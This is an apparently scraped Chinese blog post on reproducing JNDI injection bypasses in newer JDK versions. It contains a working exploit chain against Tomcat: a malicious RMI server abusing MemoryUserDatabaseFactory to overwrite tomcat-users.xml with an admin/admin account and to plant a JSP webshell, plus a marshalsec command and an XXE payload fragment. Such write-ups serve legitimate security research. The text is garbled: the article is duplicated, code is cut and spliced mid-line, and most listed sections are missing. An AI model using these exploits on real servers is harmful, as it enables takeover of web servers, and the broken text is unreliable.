Java新版本中如何复现各类JNDI绕过漏洞?

2026-05-22 15:411阅读0评论SEO资源
  • 内容介绍
  • 文章标签
  • 相关推荐

本文共计1499个文字,预计阅读时间需要6分钟。

Java新版本中如何复现各类JNDI绕过漏洞?

浅蓝师傅公布了JNDI bypass的新POC,近期复现了一些,昨天完成学业论文,现在终于复现完整了!- 目录

0.前言

1.Java高版本JNDI绕过的源代码分析

1.1 思路一:源代码分析 1.2 思路二:源代码分析

Java新版本中如何复现各类JNDI绕过漏洞?

浅蓝师傅公布了一些JNDI bypass的新poc,年前复现了一些,昨天写完毕业论文,到现在终于复现完了- -!

目录
  • 0 前言
  • 1 Java高版本JNDI绕过的源代码分析
    • 1.1 思路一的源码分析
    • 1.2 思路二的源码分析
  • 2 基于本地工厂类的利用方法
    • 2.1 org.apache.naming.factory.BeanFactory
      • 2.1.1 javax.el.ELProcessor.eval
      • 2.1.2 groovy.lang.GroovyClassLoader.parseClass(String text)
      • 2.1.3 javax.management.loading.MLet 探测类是否存在
      • 2.1.4 org.yaml.snakeyaml.Yaml().load(String)
      • 2.1.5 com.thoughtworks.xstream.XStream.fromXML
      • 2.1.6 org.mvel2.sh.ShellSession.exec()
      • 2.1.7 com.sun.glass.utils.NativeLibLoader
    • 2.2 org.apache.catalina.users.MemoryUserDatabaseFactory
      • 2.2.1 XXE
      • 2.2.2 RCE
  • 3 基于服务端返回数据流的反序列化RCE
  • 4 总结
  • 参考

0 前言

利用JNDI进行攻击,是Java中常用的手段,但高版本JDK在RMI和LDAP的trustURLCodebase都做了限制,从默认允许远程加载ObjectFactory变成了不允许。RMI是在6u132, 7u122, 8u113版本开始做了限制,LDAP是 11.0.1, 8u191, 7u201, 6u211版本开始做了限制。但依然有绕过方法,而最近浅蓝师傅的文章公布了一些新的bypass路线,正好快放假了,学习和研究一下。

1 Java高版本JNDI绕过的源代码分析

使用marshalsec开启rmi服务端

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer 127.0.0.1:8090/#ExecTest

使用python开启恶意class文件下载服务端

py -3 -m 127.0.0.1:8888/RequestFromXXE"> %romote;]> <root/>

当XXE成功时,会向127.0.0.1:8888/RequestFromXXE发起请求,因此图中可见exp.xml获取后,又向web server请求了/RequestFromXXE这个uri

2.2.2 RCE

前面是利用open方法执行过程进行XXE的,而open方法执行结束后,会执行到save方法中,注意在open方法执行过程中,我们必须设置pathname是一个URL,否则不会向下执行到save方法。还需要注意到前面XXE原理的代码图片中,进行XML解析前,会从xml中获取user、role、group,这里的值会在后面save方法中被写入文件。

在pathname必须是URL的前提下,跟进save方法

注意到先进行了一个isWriteable的判断,跟进该方法

这里pathname是一个URL,catelina_base=c:/xx/apache-tomcat-8/,这是令pathname=127.0.0.1:8888/../../conf/tomcat-users.xml, 则getParentFile()得到c:/xx/apache-tomcat-8/127.0.0.1:8888/../../conf/tomcat-users.xml")); ref.add(new StringRefAddr("readonly", "false")); // ===============================写入文件================================================ ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref); registry.bind("writeFile", referenceWrapper);

首先是直接给tomcat写入tomcat-users.xml文件从而实现对tomcat的管理,Windows下不需要创建127.0.0.1:8888/../../conf/tomcat-users.xml")); ref.add(new StringRefAddr("readonly", "false")); // ===============================写入文件================================================ ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref); registry.bind("writeFile", referenceWrapper); } }

在tomcat中添加的jsp文件为:/webapps/test/1.jsp

<%@page pageEncoding="utf-8"%> <%@page import="javax.naming.InitialContext"%> <% InitialContext initialContext = new InitialContext(); initialContext.lookup("rmi://127.0.0.1:1099/writeFile"); %>

用到的tomcat-users.xml如下

<?xml version="1.0" encoding="UTF-8"?> <tomcat-users xmlns="tomcat.apache.org/xml" xmlns:xsi="www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="tomcat.apache.org/xml tomcat-users.xsd" version="1.0"> <role rolename="manager-gui"/> <role rolename="manager-script"/> <role rolename="manager-jmx"/> <role rolename="manager-status"/> <role rolename="admin-gui"/> <role rolename="admin-script"/> <user username="admin" password="admin" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script"/> </tomcat-users>

  • 创建conf目录,放入tomcat-users.xml文件,注意在conf同级目录用python启动web server
  • 分三次注释代码,再编译和启动恶意rmi server端,用到的命令javac -cp tomcat-catalina-9.0.8.jar UserDataRCE_Server.java java -classpath tomcat-catalina-9.0.8.jar:. UserDataRCE_Server,依赖的tomcat-catalina-9.0.8.jar需要自己下载一下。每次启动rmiserver后,访问一次test/1.jsp,让tomcat执行相应的paylaod
  • tomcat端需要修改的地方有:给tomcat/lib下添加h2-2.1.210.jar,以便能够执行创建目录;给tomcat/webapps/host-manager/META-INF/context.xmltomcat/webapps/manager/META-INF/context.xml里修改为allow="^.*$",以便能够远程访问tomcat的管理界面

最后利用可以写入文件这个思路,直接可以向tomcat写入jsp webshell,需要用到代码和步骤如下

  • 创建webapps/ROOT/test.jsp,并在webapps目录下启动python web server

<?xml version="1.0" encoding="UTF-8"?> <tomcat-users xmlns="tomcat.apache.org/xml" xmlns:xsi="www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="tomcat.apache.org/xml tomcat-users.xsd" version="1.0"> <role rolename="&#x3c;%Runtime.getRuntime().exec(&#x22;calc&#x22;); %&#x3e;"/> </tomcat-users>

  • 启动恶意rmi server端,代码如下

import com.sun.jndi.rmi.registry.ReferenceWrapper; import org.apache.naming.ResourceRef; import javax.naming.StringRefAddr; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class UserDataRCE_Server { public static void main(String[] args) throws Exception{ Registry registry = LocateRegistry.createRegistry(1099); // ===============================写入webshell文件================================================ ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "", true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null); ref.add(new StringRefAddr("pathname", "127.0.0.1:8888/../../webapps/ROOT/test.jsp")); ref.add(new StringRefAddr("readonly", "false")); ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref); registry.bind("writeFile", referenceWrapper); } }

  • 访问模拟的web jndi注入漏洞,/test/1.jsp,代码如下

<%@page pageEncoding="utf-8"%> <%@page import="javax.naming.InitialContext"%> <% InitialContext initialContext = new InitialContext(); initialContext.lookup("rmi://127.0.0.1:1099/writeFile"); %>

  • 访问webshell

3 基于服务端返回数据流的反序列化RCE

第2章里面都是rmi或ldap端返回一个恶意ref类,使得目标执行指定xxFactory.getObjectInstance()方法,该方法中具体的代码触发进一步利用。还有第二个jndi bypass思路,即通过ldap/rmi指定一个恶意FactoryObject下载服务器,让目标访问并下载一段恶意序列化数据,在目标反序列化时触发Java 原生反序列化漏洞。

以常见的CC链举例

  • ldap端和github.com/kxcode/JNDI-Exploit-Bypass-Demo/blob/master/HackerServer/src/main/java/HackerLDAPRefServer.java

package com.bitterz.jndiBypass; import com.sun.net."+paper.seebug.org/942/

tttang.com/archive/1405/

github.com/kxcode/JNDI-Exploit-Bypass-Demo/


本文共计1499个文字,预计阅读时间需要6分钟。

Java新版本中如何复现各类JNDI绕过漏洞?

浅蓝师傅公布了JNDI bypass的新POC,近期复现了一些,昨天完成学业论文,现在终于复现完整了!- 目录

0.前言

1.Java高版本JNDI绕过的源代码分析

1.1 思路一:源代码分析 1.2 思路二:源代码分析

Java新版本中如何复现各类JNDI绕过漏洞?

浅蓝师傅公布了一些JNDI bypass的新poc,年前复现了一些,昨天写完毕业论文,到现在终于复现完了- -!

目录
  • 0 前言
  • 1 Java高版本JNDI绕过的源代码分析
    • 1.1 思路一的源码分析
    • 1.2 思路二的源码分析
  • 2 基于本地工厂类的利用方法
    • 2.1 org.apache.naming.factory.BeanFactory
      • 2.1.1 javax.el.ELProcessor.eval
      • 2.1.2 groovy.lang.GroovyClassLoader.parseClass(String text)
      • 2.1.3 javax.management.loading.MLet 探测类是否存在
      • 2.1.4 org.yaml.snakeyaml.Yaml().load(String)
      • 2.1.5 com.thoughtworks.xstream.XStream.fromXML
      • 2.1.6 org.mvel2.sh.ShellSession.exec()
      • 2.1.7 com.sun.glass.utils.NativeLibLoader
    • 2.2 org.apache.catalina.users.MemoryUserDatabaseFactory
      • 2.2.1 XXE
      • 2.2.2 RCE
  • 3 基于服务端返回数据流的反序列化RCE
  • 4 总结
  • 参考

0 前言

利用JNDI进行攻击,是Java中常用的手段,但高版本JDK在RMI和LDAP的trustURLCodebase都做了限制,从默认允许远程加载ObjectFactory变成了不允许。RMI是在6u132, 7u122, 8u113版本开始做了限制,LDAP是 11.0.1, 8u191, 7u201, 6u211版本开始做了限制。但依然有绕过方法,而最近浅蓝师傅的文章公布了一些新的bypass路线,正好快放假了,学习和研究一下。

1 Java高版本JNDI绕过的源代码分析

使用marshalsec开启rmi服务端

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer 127.0.0.1:8090/#ExecTest

使用python开启恶意class文件下载服务端

py -3 -m 127.0.0.1:8888/RequestFromXXE"> %romote;]> <root/>

当XXE成功时,会向127.0.0.1:8888/RequestFromXXE发起请求,因此图中可见exp.xml获取后,又向web server请求了/RequestFromXXE这个uri

2.2.2 RCE

前面是利用open方法执行过程进行XXE的,而open方法执行结束后,会执行到save方法中,注意在open方法执行过程中,我们必须设置pathname是一个URL,否则不会向下执行到save方法。还需要注意到前面XXE原理的代码图片中,进行XML解析前,会从xml中获取user、role、group,这里的值会在后面save方法中被写入文件。

在pathname必须是URL的前提下,跟进save方法

注意到先进行了一个isWriteable的判断,跟进该方法

这里pathname是一个URL,catelina_base=c:/xx/apache-tomcat-8/,这是令pathname=127.0.0.1:8888/../../conf/tomcat-users.xml, 则getParentFile()得到c:/xx/apache-tomcat-8/127.0.0.1:8888/../../conf/tomcat-users.xml")); ref.add(new StringRefAddr("readonly", "false")); // ===============================写入文件================================================ ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref); registry.bind("writeFile", referenceWrapper);

首先是直接给tomcat写入tomcat-users.xml文件从而实现对tomcat的管理,Windows下不需要创建127.0.0.1:8888/../../conf/tomcat-users.xml")); ref.add(new StringRefAddr("readonly", "false")); // ===============================写入文件================================================ ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref); registry.bind("writeFile", referenceWrapper); } }

在tomcat中添加的jsp文件为:/webapps/test/1.jsp

<%@page pageEncoding="utf-8"%> <%@page import="javax.naming.InitialContext"%> <% InitialContext initialContext = new InitialContext(); initialContext.lookup("rmi://127.0.0.1:1099/writeFile"); %>

用到的tomcat-users.xml如下

<?xml version="1.0" encoding="UTF-8"?> <tomcat-users xmlns="tomcat.apache.org/xml" xmlns:xsi="www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="tomcat.apache.org/xml tomcat-users.xsd" version="1.0"> <role rolename="manager-gui"/> <role rolename="manager-script"/> <role rolename="manager-jmx"/> <role rolename="manager-status"/> <role rolename="admin-gui"/> <role rolename="admin-script"/> <user username="admin" password="admin" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script"/> </tomcat-users>

  • 创建conf目录,放入tomcat-users.xml文件,注意在conf同级目录用python启动web server
  • 分三次注释代码,再编译和启动恶意rmi server端,用到的命令javac -cp tomcat-catalina-9.0.8.jar UserDataRCE_Server.java java -classpath tomcat-catalina-9.0.8.jar:. UserDataRCE_Server,依赖的tomcat-catalina-9.0.8.jar需要自己下载一下。每次启动rmiserver后,访问一次test/1.jsp,让tomcat执行相应的paylaod
  • tomcat端需要修改的地方有:给tomcat/lib下添加h2-2.1.210.jar,以便能够执行创建目录;给tomcat/webapps/host-manager/META-INF/context.xmltomcat/webapps/manager/META-INF/context.xml里修改为allow="^.*$",以便能够远程访问tomcat的管理界面

最后利用可以写入文件这个思路,直接可以向tomcat写入jsp webshell,需要用到代码和步骤如下

  • 创建webapps/ROOT/test.jsp,并在webapps目录下启动python web server

<?xml version="1.0" encoding="UTF-8"?> <tomcat-users xmlns="tomcat.apache.org/xml" xmlns:xsi="www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="tomcat.apache.org/xml tomcat-users.xsd" version="1.0"> <role rolename="&#x3c;%Runtime.getRuntime().exec(&#x22;calc&#x22;); %&#x3e;"/> </tomcat-users>

  • 启动恶意rmi server端,代码如下

import com.sun.jndi.rmi.registry.ReferenceWrapper; import org.apache.naming.ResourceRef; import javax.naming.StringRefAddr; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class UserDataRCE_Server { public static void main(String[] args) throws Exception{ Registry registry = LocateRegistry.createRegistry(1099); // ===============================写入webshell文件================================================ ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "", true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null); ref.add(new StringRefAddr("pathname", "127.0.0.1:8888/../../webapps/ROOT/test.jsp")); ref.add(new StringRefAddr("readonly", "false")); ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref); registry.bind("writeFile", referenceWrapper); } }

  • 访问模拟的web jndi注入漏洞,/test/1.jsp,代码如下

<%@page pageEncoding="utf-8"%> <%@page import="javax.naming.InitialContext"%> <% InitialContext initialContext = new InitialContext(); initialContext.lookup("rmi://127.0.0.1:1099/writeFile"); %>

  • 访问webshell

3 基于服务端返回数据流的反序列化RCE

第2章里面都是rmi或ldap端返回一个恶意ref类,使得目标执行指定xxFactory.getObjectInstance()方法,该方法中具体的代码触发进一步利用。还有第二个jndi bypass思路,即通过ldap/rmi指定一个恶意FactoryObject下载服务器,让目标访问并下载一段恶意序列化数据,在目标反序列化时触发Java 原生反序列化漏洞。

以常见的CC链举例

  • ldap端和github.com/kxcode/JNDI-Exploit-Bypass-Demo/blob/master/HackerServer/src/main/java/HackerLDAPRefServer.java

package com.bitterz.jndiBypass; import com.sun.net."+paper.seebug.org/942/

tttang.com/archive/1405/

github.com/kxcode/JNDI-Exploit-Bypass-Demo/